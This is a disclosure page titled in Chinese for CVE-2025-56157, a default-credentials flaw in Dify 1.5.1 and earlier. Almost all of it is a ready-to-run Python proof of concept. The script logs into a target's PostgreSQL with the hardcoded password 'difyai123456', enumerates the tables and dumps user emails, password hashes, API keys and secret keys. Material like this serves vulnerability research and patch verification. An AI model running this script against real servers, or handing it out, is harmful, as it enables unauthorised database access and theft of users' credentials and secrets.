CVE-2025-56157: Dify 1.5.1及之前版本PostgreSQL默认凭据漏洞

#!/usr/bin/env python3 """ CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials This PoC demonstrates the exploitation of hardcoded PostgreSQL credentials in Dify <= 1.5.1 Usage: python3 cve-2025-56157-poc.py <target_ip> Note: This is for authorized security testing only """ import psycopg2 import sys from argparse import ArgumentParser def exploit_default_credentials(target_host): """ Exploit hardcoded PostgreSQL credentials in Dify docker-compose.yaml Default credentials from the vulnerable configuration: - Username: postgres - Password: difyai123456 - Port: 5432 """ # Default credentials from Dify's docker-compose.yaml default_credentials = { 'user': 'postgres', 'password': 'difyai123456', 'host': target_host, 'port': '5432', 'database': 'dify' } print(f"[*] Attempting to connect to PostgreSQL at {target_host}:5432") print(f"[*] Using credentials - User: {default_credentials['user']}, Password: {default_credentials['password']}") try: # Connect to PostgreSQL database conn = psycopg2.connect( host=default_credentials['host'], port=default_credentials['port'], user=default_credentials['user'], password=default_credentials['password'], database=default_credentials['database'], connect_timeout=10 ) print("[+] SUCCESS: Connected to PostgreSQL database!") cursor = conn.cursor() # Enumerate database tables print("\n[*] Enumerating database tables...") cursor.execute(""" SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' """) tables = cursor.fetchall() print(f"[+] Found {len(tables)} tables:") for table in tables: print(f" - {table[0]}") # Extract sensitive data from users table print("\n[*] Extracting user information...") try: cursor.execute("SELECT id, email, name, password, created_at FROM users LIMIT 10") users = cursor.fetchall() print(f"[+] Found {len(users)} users:") for user in users: print(f" ID: {user[0]}, Email: {user[1]}, Name: {user[2]}, PasswordHash: {user[3]}, Created: {user[4]}") except Exception as e: print(f"[-] Could not retrieve users table: {e}") # Extract API keys print("\n[*] Extracting API keys...") try: cursor.execute("SELECT id, app_id, api_key, secret_key FROM api_keys LIMIT 10") api_keys = cursor.fetchall() print(f"[+] Found {len(api_keys)} API keys:") for key in api_keys: print(f" AppID: {key[1]}, APIKey: {key[2]}, SecretKey: {key[3]}") except Exception as e: print(f"[-] Could not retrieve api_keys table: {e}") cursor.close() conn.close() return True except psycopg2.OperationalError as e: print(f"[-] FAILED: Could not connect to database") print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = ArgumentParser(description='CVE-2025-56157 PoC - Dify Default Credentials') parser.add_argument('target', help='Target Dify server IP or hostname') args = parser.parse_args() print("=" * 60) print("CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials") print("=" * 60) success = exploit_default_credentials(args.target) if success: print("\n[!] VULNERABLE: Default credentials are in use!") print("[!] Recommendation: Change PostgreSQL password immediately") else: print("\n[-] Target may not be vulnerable or is not accessible") sys.exit(0 if success else 1)